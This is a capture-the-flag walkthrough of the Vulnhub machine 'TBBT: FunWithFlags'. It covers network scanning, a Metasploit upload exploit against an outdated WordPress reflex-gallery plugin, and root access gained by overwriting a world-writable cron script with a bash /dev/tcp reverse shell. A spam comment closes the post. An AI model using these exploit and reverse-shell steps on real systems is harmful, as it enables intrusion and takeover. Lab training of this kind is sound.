TBBT: FunWithFlags Walkthrough Vulnhub CTF
Today, we’re sharing another Vulnhub CTF Walkthrough TBBT: FunWithFlags design by emaragkos This VM machine hosted on Vulnhub.com you can download here the machine link
Network Scanning
Our First Step is Finding the target IP Address using netdiscover
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netdiscover |
After finding the target IP address I perform Nmap Aggressive scanning (-p- parameter ) all port scanning
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nmap -A 192.168.1.105 -p- |
dirb is a web content scanner that was also used to brute force for any available files and directory on the website.
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dirb http://192.168.1.105 |
Enumeration
we see dirb result many URL I open the URL http://192.168.1.105/music/wordpress/ our browser and we see a WordPress website
dirb http://192.168.1.105/music/wordpress/
without wasting our time I move on wpscan WordPress scanner ( -e ap parameter enumerate all plugin installed )
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wpscan --url http://192.168.1.105/music/wordpress/ -e ap |
I found an outdated plugin reflex-gallery version: 3.1.3 I search the exploit-db exploit and I found an exploit arbitrary file upload.
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msfconsole |
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use unix/webapp/wp_reflexgallery_file_upload |
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set targeturi /music/wordpress/ set rhosts 191.168.1.105 run |
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shell |
After ran shell command we see a black restrict shell now I importing the python3 spawn shell
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python3 -c 'import pty;pty.spawn("/bin/bash")' |
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cd /home ls |
In Amy’s home directory, I found two file notes.txt and secretdiary
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cd amy ls -lsa |
I reading the notest.txt using cat command and we see a hint massage this is my secret diary
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cat notes.txt |
I ran strings and our file secretdiary command according to user hint I found an 18 digit password
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strings secretdiary |
It’s an enumeration time! I move the home directory I found my second flag in penny’s home directory
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cd penny |
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cat .FLAG.penny.txt |
Privilege Escalation
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cd leonard ls -lsa |
Leonard’s directory contained a bash script with some comments in it and we see the file permission all user edit this file and the file owner is the root
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cat themostat_set_temp.sh |
We see crontab configuration thermostat_set_temp.sh file is run automatically every one minute I create a simple bash reverse shell and echo command to overwrite the thermostat_set_temp.sh
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cat /etc/crontab |
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echo "bash -i >& /dev/tcp/192.168.1.4/4545 0>&1" > thermostat_set_temp.sh |
Before starting the bash script we need to start our netcat listener
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./thermostat_set_temp.sh |
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nc -lvp 4545 |
After Wait a minute I got a reverse shell root user I move on the root directory and reading our final last flag contains the root directory
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id cd /root ls |
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cat FLAG-leonard.txt |
It is perfect time to make some plans for the longer term and it is time to be happy. I have read this post and if I could I desire to recommend you some attention-grabbing issues or tips. Perhaps you could write next articles regarding this article. I wish to learn more things about it!